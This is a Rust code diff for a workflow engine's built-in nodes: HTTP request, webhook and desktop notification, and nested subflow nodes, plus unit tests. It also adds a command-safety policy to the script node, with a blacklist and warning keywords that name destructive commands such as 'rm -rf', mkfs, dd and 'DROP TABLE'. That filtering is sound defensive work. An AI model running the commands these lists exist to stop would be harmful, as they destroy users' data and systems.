fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
HttpMethod::Get => "GET",
|
||||
HttpMethod::Post => "POST",
|
||||
HttpMethod::Put => "PUT",
|
||||
HttpMethod::Delete => "DELETE",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// 从 NodeContext.config 解析出的 HttpNode 参数。
|
||||
/// 抽离此结构便于单元测试 config 解析逻辑(无需发起真实网络请求)。
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct HttpParams {
|
||||
pub method: HttpMethod,
|
||||
pub url: String,
|
||||
/// 请求头(JSON 对象 → Vec<(name, value)>)
|
||||
pub headers: Vec<(String, String)>,
|
||||
/// 请求体(可选)
|
||||
pub body: Option<String>,
|
||||
/// 超时秒数(缺省 30)
|
||||
pub timeout_secs: u64,
|
||||
}
|
||||
|
||||
/// 默认超时
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
/// 从 config JSON 解析 HttpParams。url 必填;method 缺省 GET;timeout 缺省 30。
|
||||
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<HttpParams> {
|
||||
let method = HttpMethod::parse(config.get("method").and_then(|v| v.as_str()))?;
|
||||
|
||||
let url = config
|
||||
.get("url")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("HttpNode 缺少必填参数: url"))?;
|
||||
if url.trim().is_empty() {
|
||||
anyhow::bail!("HttpNode url 不能为空");
|
||||
}
|
||||
|
||||
// headers:JSON 对象 → 有序 (name, value) 列表。非对象/非字符串值忽略并 warn。
|
||||
let mut headers = Vec::new();
|
||||
if let Some(obj) = config.get("headers").and_then(|v| v.as_object()) {
|
||||
for (k, v) in obj {
|
||||
match v.as_str() {
|
||||
Some(s) => headers.push((k.clone(), s.to_string())),
|
||||
None => {
|
||||
tracing::warn!(
|
||||
header = %k,
|
||||
"HttpNode headers 中 header 值非字符串,忽略"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let body = config
|
||||
.get("body")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let timeout_secs = config
|
||||
.get("timeout_secs")
|
||||
.and_then(|v| v.as_u64())
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
Ok(HttpParams {
|
||||
method,
|
||||
url: url.to_string(),
|
||||
headers,
|
||||
body,
|
||||
timeout_secs,
|
||||
})
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl Node for HttpNode {
|
||||
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||
tracing::info!("HttpNode 执行: node_id={}", ctx.node_id);
|
||||
|
||||
let params = parse_params(&ctx.config)?;
|
||||
|
||||
tracing::info!(
|
||||
method = params.method.as_str(),
|
||||
url = %params.url,
|
||||
timeout_secs = params.timeout_secs,
|
||||
"HttpNode 发起请求"
|
||||
);
|
||||
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(params.timeout_secs))
|
||||
.build()?;
|
||||
|
||||
let mut req = match params.method {
|
||||
HttpMethod::Get => client.get(¶ms.url),
|
||||
HttpMethod::Post => client.post(¶ms.url),
|
||||
HttpMethod::Put => client.put(¶ms.url),
|
||||
HttpMethod::Delete => client.delete(¶ms.url),
|
||||
};
|
||||
|
||||
for (name, value) in ¶ms.headers {
|
||||
req = req.header(name, value);
|
||||
}
|
||||
|
||||
if let Some(body) = ¶ms.body {
|
||||
req = req.body(body.clone());
|
||||
}
|
||||
|
||||
let response = req.send().await?;
|
||||
let status_code = response.status().as_u16();
|
||||
|
||||
let content_type = response
|
||||
.headers()
|
||||
.get(reqwest::header::CONTENT_TYPE)
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let body_text = response.text().await?;
|
||||
|
||||
tracing::info!(
|
||||
method = params.method.as_str(),
|
||||
url = %params.url,
|
||||
status_code,
|
||||
body_len = body_text.len(),
|
||||
"HttpNode 完成"
|
||||
);
|
||||
|
||||
Ok(NodeOutput::from_value(serde_json::json!({
|
||||
"method": params.method.as_str(),
|
||||
"url": params.url,
|
||||
"status_code": status_code,
|
||||
"body": body_text,
|
||||
"content_type": content_type,
|
||||
})))
|
||||
}
|
||||
|
||||
fn schema(&self) -> NodeSchema {
|
||||
NodeSchema {
|
||||
params: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"method": {
|
||||
"type": "string",
|
||||
"enum": ["GET", "POST", "PUT", "DELETE"],
|
||||
"default": "GET"
|
||||
},
|
||||
"url": { "type": "string", "description": "请求 URL" },
|
||||
"headers": {
|
||||
"type": "object",
|
||||
"description": "请求头 JSON 对象",
|
||||
"additionalProperties": { "type": "string" }
|
||||
},
|
||||
"body": { "type": "string", "description": "请求体(可选)" },
|
||||
"timeout_secs": { "type": "integer", "default": 30 }
|
||||
},
|
||||
"required": ["url"]
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"method": { "type": "string" },
|
||||
"url": { "type": "string" },
|
||||
"status_code": { "type": "integer" },
|
||||
"body": { "type": "string" },
|
||||
"content_type": { "type": "string" }
|
||||
}
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn node_type(&self) -> &str {
|
||||
"http"
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
// ── HttpMethod::parse ──
|
||||
|
||||
#[test]
|
||||
fn method_defaults_to_get_when_absent() {
|
||||
assert_eq!(HttpMethod::parse(None).unwrap(), HttpMethod::Get);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn method_case_insensitive() {
|
||||
assert_eq!(HttpMethod::parse(Some("get")).unwrap(), HttpMethod::Get);
|
||||
assert_eq!(HttpMethod::parse(Some("Post")).unwrap(), HttpMethod::Post);
|
||||
assert_eq!(HttpMethod::parse(Some("DELETE")).unwrap(), HttpMethod::Delete);
|
||||
assert_eq!(HttpMethod::parse(Some("pUt")).unwrap(), HttpMethod::Put);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn method_invalid_errors() {
|
||||
let err = HttpMethod::parse(Some("PATCH")).unwrap_err().to_string();
|
||||
assert!(err.contains("非法 method"), "实际: {}", err);
|
||||
assert!(err.contains("PATCH"));
|
||||
}
|
||||
|
||||
// ── parse_params(config) ──
|
||||
|
||||
#[test]
|
||||
fn params_missing_url_errors() {
|
||||
let err = parse_params(&json!({ "method": "GET" }))
|
||||
.unwrap_err()
|
||||
.to_string();
|
||||
assert!(err.contains("url"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_empty_url_errors() {
|
||||
let err = parse_params(&json!({ "url": " " })).unwrap_err().to_string();
|
||||
assert!(err.contains("空"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_defaults_method_and_timeout() {
|
||||
let p = parse_params(&json!({ "url": "https://example.com" })).unwrap();
|
||||
assert_eq!(p.method, HttpMethod::Get);
|
||||
assert_eq!(p.timeout_secs, DEFAULT_TIMEOUT_SECS);
|
||||
assert!(p.headers.is_empty());
|
||||
assert_eq!(p.body, None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_custom_timeout() {
|
||||
let p = parse_params(&json!({ "url": "https://x", "timeout_secs": 5 })).unwrap();
|
||||
assert_eq!(p.timeout_secs, 5);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_parses_headers_object() {
|
||||
let p = parse_params(&json!({
|
||||
"url": "https://x",
|
||||
"headers": {
|
||||
"Authorization": "Bearer abc",
|
||||
"X-Trace-Id": "123"
|
||||
}
|
||||
}))
|
||||
.unwrap();
|
||||
// headers 顺序由 serde_json BTreeMap 保证;只校验集合
|
||||
let map: std::collections::HashMap<&str, &str> =
|
||||
p.headers.iter().map(|(k, v)| (k.as_str(), v.as_str())).collect();
|
||||
assert_eq!(map.get("Authorization"), Some(&"Bearer abc"));
|
||||
assert_eq!(map.get("X-Trace-Id"), Some(&"123"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_non_string_header_value_skipped() {
|
||||
// 非字符串值不应炸,应被跳过
|
||||
let p = parse_params(&json!({
|
||||
"url": "https://x",
|
||||
"headers": { "X-Num": 123, "X-Ok": "yes" }
|
||||
}))
|
||||
.unwrap();
|
||||
let names: Vec<&str> = p.headers.iter().map(|(k, _)| k.as_str()).collect();
|
||||
assert!(names.contains(&"X-Ok"));
|
||||
assert!(!names.contains(&"X-Num"), "非字符串 header 应被跳过");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_parses_body() {
|
||||
let p = parse_params(&json!({
|
||||
"url": "https://x",
|
||||
"method": "POST",
|
||||
"body": "{\"k\":1}"
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.method, HttpMethod::Post);
|
||||
assert_eq!(p.body.as_deref(), Some("{\"k\":1}"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_invalid_method_propagates() {
|
||||
let err = parse_params(&json!({ "url": "https://x", "method": "TRACE" }))
|
||||
.unwrap_err()
|
||||
.to_string();
|
||||
assert!(err.contains("非法 method"), "实际: {}", err);
|
||||
}
|
||||
}
|
||||
@@ -218,7 +218,7 @@ mod tests {
|
||||
node_id: node_id.to_string(),
|
||||
inputs: HashMap::new(),
|
||||
config,
|
||||
execution_id: execution_id.to_string(),
|
||||
execution_id: execution_id.into(),
|
||||
event_bus: event_bus.clone(),
|
||||
node_status: StateMachine::new(),
|
||||
}
|
||||
@@ -235,7 +235,7 @@ mod tests {
|
||||
) {
|
||||
event_bus
|
||||
.send(WorkflowEvent::HumanApprovalResponse {
|
||||
execution_id: execution_id.to_string(),
|
||||
execution_id: execution_id.into(),
|
||||
node_id: node_id.to_string(),
|
||||
decision: decision.to_string(),
|
||||
decisions: vec![],
|
||||
@@ -254,7 +254,7 @@ mod tests {
|
||||
) {
|
||||
event_bus
|
||||
.send(WorkflowEvent::HumanApprovalResponse {
|
||||
execution_id: execution_id.to_string(),
|
||||
execution_id: execution_id.into(),
|
||||
node_id: node_id.to_string(),
|
||||
decision: String::new(),
|
||||
decisions: decisions.iter().map(|s| s.to_string()).collect(),
|
||||
@@ -477,8 +477,8 @@ mod tests {
|
||||
dag.add_node("b".to_string(), Box::new(HumanNode));
|
||||
dag.add_edge("a".to_string(), "b".to_string());
|
||||
|
||||
let mut executor = DagExecutor::new(bus.clone(), exec_id.to_string());
|
||||
let sm = executor.state_machine(); // 共享状态机(spawn 后仍可读)
|
||||
let mut executor = DagExecutor::new(bus.clone(), exec_id.into());
|
||||
let sm = executor.state_machine(); // 共享状态机(spawn 后仍可读)
|
||||
|
||||
let run_handle = tokio::spawn(async move {
|
||||
executor
|
||||
@@ -537,7 +537,7 @@ mod tests {
|
||||
let mut dag = Dag::new();
|
||||
dag.add_node("h".to_string(), Box::new(HumanNode));
|
||||
|
||||
let mut executor = DagExecutor::new(bus.clone(), exec_id.to_string());
|
||||
let mut executor = DagExecutor::new(bus.clone(), exec_id.into());
|
||||
let sm = executor.state_machine();
|
||||
|
||||
let run_handle = tokio::spawn(async move {
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
//! df-nodes: 内置节点集合 — AI、脚本、人工审批
|
||||
//! df-nodes: 内置节点集合 — AI、脚本、人工审批、Git、Docker、HTTP、通知
|
||||
|
||||
pub mod ai_node;
|
||||
pub mod ai_self_review_node;
|
||||
mod ai_node_helpers;
|
||||
pub mod docker_node;
|
||||
pub mod git_node;
|
||||
pub mod http_node;
|
||||
pub mod human_node;
|
||||
mod human_node_helpers;
|
||||
pub mod notify_node;
|
||||
pub mod subflow_node;
|
||||
pub mod script_node;
|
||||
pub mod task_advance_node;
|
||||
pub mod task_state_machine;
|
||||
|
||||
292
crates/df-nodes/src/notify_node.rs
Normal file
292
crates/df-nodes/src/notify_node.rs
Normal file
@@ -0,0 +1,292 @@
|
||||
//! 通知节点 — desktop(本地日志,后续接 tauri-plugin-notification) / webhook
|
||||
//!
|
||||
//! - type=desktop:tracing::info! 输出(桌面通知集成延后,见 PROGRESS.md 后续 Sprint)
|
||||
//! - type=webhook:POST JSON {title, message} 到 webhook_url
|
||||
//!
|
||||
//! 节点语义:尽力而为,通知失败不阻断工作流(webhook 发送失败时输出 success=false 但仍 Ok 返回)。
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
use async_trait::async_trait;
|
||||
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||
|
||||
/// 通知节点
|
||||
pub struct NotifyNode;
|
||||
|
||||
/// 通知类型
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum NotifyType {
|
||||
Desktop,
|
||||
Webhook,
|
||||
}
|
||||
|
||||
impl NotifyType {
|
||||
/// 从 config.type 字符串解析,非法值返回 Err。
|
||||
pub fn parse(raw: &str) -> anyhow::Result<Self> {
|
||||
match raw {
|
||||
"desktop" => Ok(NotifyType::Desktop),
|
||||
"webhook" => Ok(NotifyType::Webhook),
|
||||
other => anyhow::bail!(
|
||||
"NotifyNode 非法 type: {}(合法值: desktop|webhook)",
|
||||
other
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
NotifyType::Desktop => "desktop",
|
||||
NotifyType::Webhook => "webhook",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// 从 NodeContext.config 解析出的 NotifyNode 参数。
|
||||
/// 抽离此结构便于单元测试 config 解析逻辑(无需发起网络请求)。
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct NotifyParams {
|
||||
pub notify_type: NotifyType,
|
||||
pub title: String,
|
||||
pub message: String,
|
||||
/// webhook 类型必填;desktop 类型忽略
|
||||
pub webhook_url: Option<String>,
|
||||
}
|
||||
|
||||
/// 从 config JSON 解析 NotifyParams。type 必填;webhook 类型要求 webhook_url。
|
||||
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<NotifyParams> {
|
||||
let raw_type = config
|
||||
.get("type")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("NotifyNode 缺少必填参数: type"))?;
|
||||
let notify_type = NotifyType::parse(raw_type)?;
|
||||
|
||||
let title = config
|
||||
.get("title")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("通知")
|
||||
.to_string();
|
||||
|
||||
let message = config
|
||||
.get("message")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("")
|
||||
.to_string();
|
||||
|
||||
let webhook_url = config
|
||||
.get("webhook_url")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
// webhook 类型必须有 webhook_url
|
||||
if notify_type == NotifyType::Webhook {
|
||||
if webhook_url.as_deref().map(|s| s.trim().is_empty()).unwrap_or(true) {
|
||||
anyhow::bail!("NotifyNode type=webhook 缺少 webhook_url");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(NotifyParams {
|
||||
notify_type,
|
||||
title,
|
||||
message,
|
||||
webhook_url,
|
||||
})
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl Node for NotifyNode {
|
||||
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||
tracing::info!("NotifyNode 执行: node_id={}", ctx.node_id);
|
||||
|
||||
let params = parse_params(&ctx.config)?;
|
||||
|
||||
match params.notify_type {
|
||||
NotifyType::Desktop => {
|
||||
// 桌面通知集成延后;当前仅日志,后续接 tauri-plugin-notification。
|
||||
tracing::info!(
|
||||
title = %params.title,
|
||||
message = %params.message,
|
||||
"NotifyNode desktop 通知(日志占位,集成待后续 Sprint)"
|
||||
);
|
||||
Ok(NodeOutput::from_value(serde_json::json!({
|
||||
"type": params.notify_type.as_str(),
|
||||
"title": params.title,
|
||||
"message": params.message,
|
||||
"delivered": true,
|
||||
})))
|
||||
}
|
||||
NotifyType::Webhook => {
|
||||
// webhook_url 在 parse_params 已校验非空
|
||||
let url = params.webhook_url.as_deref().unwrap();
|
||||
tracing::info!(
|
||||
title = %params.title,
|
||||
url = %url,
|
||||
"NotifyNode webhook 推送"
|
||||
);
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"title": params.title,
|
||||
"message": params.message,
|
||||
});
|
||||
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(15))
|
||||
.build()?;
|
||||
|
||||
// 尽力而为:发送失败不阻断工作流,降级为 success=false + error 字段返回。
|
||||
let (status_code, success, error) = match client
|
||||
.post(url)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(resp) => {
|
||||
let code = resp.status().as_u16();
|
||||
(Some(code), code >= 200 && code < 300, None)
|
||||
}
|
||||
Err(e) => (None, false, Some(e.to_string())),
|
||||
};
|
||||
|
||||
if !success {
|
||||
tracing::warn!(
|
||||
url = %url,
|
||||
status_code = ?status_code,
|
||||
error = ?error,
|
||||
"NotifyNode webhook 发送失败(不阻断工作流)"
|
||||
);
|
||||
}
|
||||
|
||||
Ok(NodeOutput::from_value(serde_json::json!({
|
||||
"type": params.notify_type.as_str(),
|
||||
"title": params.title,
|
||||
"message": params.message,
|
||||
"webhook_url": url,
|
||||
"status_code": status_code,
|
||||
"success": success,
|
||||
"error": error,
|
||||
})))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn schema(&self) -> NodeSchema {
|
||||
NodeSchema {
|
||||
params: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"type": {
|
||||
"type": "string",
|
||||
"enum": ["desktop", "webhook"]
|
||||
},
|
||||
"title": { "type": "string", "description": "通知标题" },
|
||||
"message": { "type": "string", "description": "通知正文" },
|
||||
"webhook_url": { "type": "string", "description": "webhook URL(webhook 类型必填)" }
|
||||
},
|
||||
"required": ["type"]
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"type": { "type": "string" },
|
||||
"title": { "type": "string" },
|
||||
"message": { "type": "string" },
|
||||
"delivered": { "type": "boolean" },
|
||||
"webhook_url": { "type": "string" },
|
||||
"status_code": { "type": "integer" },
|
||||
"success": { "type": "boolean" },
|
||||
"error": { "type": "string" }
|
||||
}
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn node_type(&self) -> &str {
|
||||
"notify"
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
// ── NotifyType::parse ──
|
||||
|
||||
#[test]
|
||||
fn type_parses_desktop_and_webhook() {
|
||||
assert_eq!(NotifyType::parse("desktop").unwrap(), NotifyType::Desktop);
|
||||
assert_eq!(NotifyType::parse("webhook").unwrap(), NotifyType::Webhook);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn type_invalid_errors() {
|
||||
let err = NotifyType::parse("email").unwrap_err().to_string();
|
||||
assert!(err.contains("非法 type"), "实际: {}", err);
|
||||
assert!(err.contains("email"));
|
||||
}
|
||||
|
||||
// ── parse_params(config) ──
|
||||
|
||||
#[test]
|
||||
fn params_missing_type_errors() {
|
||||
let err = parse_params(&json!({ "title": "t" })).unwrap_err().to_string();
|
||||
assert!(err.contains("type"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_invalid_type_errors() {
|
||||
let err = parse_params(&json!({ "type": "sms" })).unwrap_err().to_string();
|
||||
assert!(err.contains("非法 type"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_desktop_defaults_title_and_message() {
|
||||
let p = parse_params(&json!({ "type": "desktop" })).unwrap();
|
||||
assert_eq!(p.notify_type, NotifyType::Desktop);
|
||||
assert_eq!(p.title, "通知"); // 默认标题
|
||||
assert_eq!(p.message, ""); // 默认空正文
|
||||
assert_eq!(p.webhook_url, None); // desktop 不需要
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_desktop_with_custom_fields() {
|
||||
let p = parse_params(&json!({
|
||||
"type": "desktop",
|
||||
"title": "构建完成",
|
||||
"message": "已发布 v1.0"
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.title, "构建完成");
|
||||
assert_eq!(p.message, "已发布 v1.0");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_webhook_requires_url() {
|
||||
let err = parse_params(&json!({ "type": "webhook" }))
|
||||
.unwrap_err()
|
||||
.to_string();
|
||||
assert!(err.contains("webhook_url"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_webhook_empty_url_errors() {
|
||||
let err = parse_params(&json!({ "type": "webhook", "webhook_url": " " }))
|
||||
.unwrap_err()
|
||||
.to_string();
|
||||
assert!(err.contains("webhook_url"), "实际: {}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn params_webhook_valid() {
|
||||
let p = parse_params(&json!({
|
||||
"type": "webhook",
|
||||
"title": "告警",
|
||||
"message": "CPU > 90%",
|
||||
"webhook_url": "https://hooks.example.com/x"
|
||||
}))
|
||||
.unwrap();
|
||||
assert_eq!(p.notify_type, NotifyType::Webhook);
|
||||
assert_eq!(p.title, "告警");
|
||||
assert_eq!(p.message, "CPU > 90%");
|
||||
assert_eq!(p.webhook_url.as_deref(), Some("https://hooks.example.com/x"));
|
||||
}
|
||||
}
|
||||
@@ -6,6 +6,23 @@ use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||
/// 脚本节点
|
||||
pub struct ScriptNode;
|
||||
|
||||
// ── 运行时白/黑名单(通过 set_script_safety_config 注入,替代纯 env var) ──
|
||||
use std::sync::OnceLock;
|
||||
|
||||
/// 运行时白名单配置(前端设置页写入,优先于环境变量)
|
||||
static RUNTIME_SCRIPT_WHITELIST: OnceLock<String> = OnceLock::new();
|
||||
/// 运行时黑名单配置(前端设置页写入,优先于环境变量)
|
||||
static RUNTIME_SCRIPT_BLACKLIST: OnceLock<String> = OnceLock::new();
|
||||
|
||||
/// 注入运行时脚本安全配置(由 Tauri IPC 调用,前端设置页保存后触发)。
|
||||
/// 空字符串表示「未配置」,回退到环境变量 / 默认行为。
|
||||
pub fn set_script_safety_config(whitelist: &str, blacklist: &str) {
|
||||
let wl = whitelist.trim();
|
||||
let bl = blacklist.trim();
|
||||
if !wl.is_empty() { let _ = RUNTIME_SCRIPT_WHITELIST.set(wl.to_string()); }
|
||||
if !bl.is_empty() { let _ = RUNTIME_SCRIPT_BLACKLIST.set(bl.to_string()); }
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl Node for ScriptNode {
|
||||
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||
@@ -39,6 +56,32 @@ impl Node for ScriptNode {
|
||||
shell_type: Default::default(),
|
||||
};
|
||||
|
||||
// 命令执行安全:白/黑名单校验(从环境变量读取,逗号分隔命令名)。
|
||||
// - 白名单非空时:命令首词不在白名单 → 直接拒绝执行
|
||||
// - 黑名单匹配时:直接拒绝执行
|
||||
// 命令名取首词(shell 第一段,如 `rm -rf /` 取 `rm`),按 trim + 小写规范化比较。
|
||||
let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();
|
||||
if let Some(denied) = check_command_policy(&cmd_name) {
|
||||
tracing::warn!(
|
||||
command = %command,
|
||||
reason = %denied,
|
||||
"ScriptNode 命令被策略拒绝"
|
||||
);
|
||||
anyhow::bail!("脚本命令被策略拒绝: {} (命令: {})", denied, command);
|
||||
}
|
||||
|
||||
// 危险命令告警:匹配已知危险关键词,仅告警不阻止执行
|
||||
let dangerous_keywords = ["rm -rf", "DROP TABLE", "Format", "del /f", "shutdown"];
|
||||
for &kw in &dangerous_keywords {
|
||||
if command.contains(kw) {
|
||||
tracing::warn!(
|
||||
keyword = %kw,
|
||||
command = %command,
|
||||
"ScriptNode 即将执行包含危险关键词的命令"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
tracing::info!("ScriptNode 执行命令: {}", command);
|
||||
let result = df_execute::shell::execute(request).await?;
|
||||
|
||||
@@ -93,3 +136,67 @@ impl Node for ScriptNode {
|
||||
"script"
|
||||
}
|
||||
}
|
||||
|
||||
/// 默认黑名单:即使环境变量未设置也生效,挡最危险的破坏性命令。
|
||||
/// 用户设置 `DF_SCRIPT_BLACKLIST` 时覆盖默认(不合并,用户显式控制)。
|
||||
const DEFAULT_BLACKLIST: &[&str] = &["rm", "del", "format", "shutdown", "mkfs", "dd"];
|
||||
|
||||
/// 命令执行策略校验:从运行时配置 + 环境变量读取白/黑名单。
|
||||
///
|
||||
/// 优先级(高→低):
|
||||
/// 1. 运行时配置(set_script_safety_config,前端设置页写入)
|
||||
/// 2. 环境变量 DF_SCRIPT_WHITELIST / DF_SCRIPT_BLACKLIST
|
||||
/// 3. 默认黑名单兜底(DEFAULT_BLACKLIST)
|
||||
///
|
||||
/// 黑名单优先于白名单(黑名单匹配总是拒绝,即便同时在白名单)。
|
||||
/// 命令名比较前 trim + ASCII 小写规范化;空段被忽略。
|
||||
///
|
||||
/// 返回 `Some(reason)` 表示拒绝;返回 `None` 表示放行。
|
||||
fn check_command_policy(cmd_name: &str) -> Option<&'static str> {
|
||||
// 步骤1:尝试运行时黑名单(前端设置页写入,优先级最高)
|
||||
if let Some(raw) = RUNTIME_SCRIPT_BLACKLIST.get() {
|
||||
let list: Vec<&str> = raw.split(',').map(|s| s.trim()).filter(|s| !s.is_empty()).collect();
|
||||
if list.iter().any(|c| c.eq_ignore_ascii_case(cmd_name)) {
|
||||
return Some("命令在黑名单中(运行时配置)");
|
||||
}
|
||||
}
|
||||
// 步骤2:尝试运行时白名单(非空时放行) — 仅当运行时黑名单未命中时才检查
|
||||
if let Some(raw) = RUNTIME_SCRIPT_WHITELIST.get() {
|
||||
let list: Vec<&str> = raw.split(',').map(|s| s.trim()).filter(|s| !s.is_empty()).collect();
|
||||
if !list.is_empty() && !list.iter().any(|c| c.eq_ignore_ascii_case(cmd_name)) {
|
||||
return Some("命令不在白名单中(运行时配置)");
|
||||
}
|
||||
// 运行时白名单非空且命令在其中 → 直接放行(跳过 env var)
|
||||
if !list.is_empty() {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
|
||||
// 步骤3:回退到环境变量(兼容旧部署)
|
||||
let env_blacklist = std::env::var("DF_SCRIPT_BLACKLIST").ok();
|
||||
let blacklist: Vec<String> = match env_blacklist {
|
||||
Some(raw) => raw
|
||||
.split(',')
|
||||
.map(|s| s.trim().to_lowercase())
|
||||
.filter(|s| !s.is_empty())
|
||||
.collect(),
|
||||
None => DEFAULT_BLACKLIST.iter().map(|s| s.to_string()).collect(),
|
||||
};
|
||||
if blacklist.iter().any(|c| c == cmd_name) {
|
||||
return Some("命令在黑名单中");
|
||||
}
|
||||
|
||||
// 白名单:非空时命令名必须在白名单中才放行
|
||||
if let Ok(whitelist_raw) = std::env::var("DF_SCRIPT_WHITELIST") {
|
||||
let whitelist: Vec<String> = whitelist_raw
|
||||
.split(',')
|
||||
.map(|s| s.trim().to_lowercase())
|
||||
.filter(|s| !s.is_empty())
|
||||
.collect();
|
||||
if !whitelist.is_empty() && !whitelist.iter().any(|c| c == cmd_name) {
|
||||
return Some("命令不在白名单中");
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
175
crates/df-nodes/src/subflow_node.rs
Normal file
175
crates/df-nodes/src/subflow_node.rs
Normal file
@@ -0,0 +1,175 @@
|
||||
//! SubflowNode — 嵌套子工作流节点
|
||||
//!
|
||||
//! 加载一个子模板(DagDef)并在当前执行上下文中递归执行。
|
||||
//! 用于复用通用流程(如"代码审查"可作为任意主流程的子步骤)。
|
||||
|
||||
use async_trait::async_trait;
|
||||
use df_workflow::dag_def::DagDef;
|
||||
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// SubflowNode 配置
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
struct SubflowConfig {
|
||||
/// 子工作流 DAG 定义(内联 JSON)
|
||||
dag: serde_json::Value,
|
||||
/// 嵌套深度限制(防无限递归,默认 MAX_DEPTH)
|
||||
#[serde(default)]
|
||||
max_depth: Option<u32>,
|
||||
}
|
||||
|
||||
/// 最大递归深度(安全阀)
|
||||
const MAX_DEPTH: u32 = 10;
|
||||
|
||||
/// SubflowNode — 嵌套子工作流
|
||||
pub struct SubflowNode;
|
||||
|
||||
#[async_trait]
|
||||
impl Node for SubflowNode {
|
||||
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||
tracing::info!("SubflowNode 执行: {}", ctx.node_id);
|
||||
|
||||
let config: SubflowConfig = serde_json::from_value(ctx.config.clone())
|
||||
.map_err(|e| anyhow::anyhow!("SubflowNode 配置解析失败: {}", e))?;
|
||||
|
||||
let max_depth = config.max_depth.unwrap_or(MAX_DEPTH).min(MAX_DEPTH);
|
||||
|
||||
// 反序列化子 DAG
|
||||
let sub_dag: DagDef = serde_json::from_value(config.dag)
|
||||
.map_err(|e| anyhow::anyhow!("子工作流 DAG 解析失败: {}", e))?;
|
||||
|
||||
if sub_dag.nodes.is_empty() {
|
||||
anyhow::bail!("子工作流节点不能为空");
|
||||
}
|
||||
|
||||
if max_depth == 0 {
|
||||
anyhow::bail!("SubflowNode 超过最大嵌套深度");
|
||||
}
|
||||
|
||||
tracing::info!(
|
||||
node_count = sub_dag.nodes.len(),
|
||||
edge_count = sub_dag.edges.len(),
|
||||
max_depth,
|
||||
"SubflowNode 加载子工作流"
|
||||
);
|
||||
|
||||
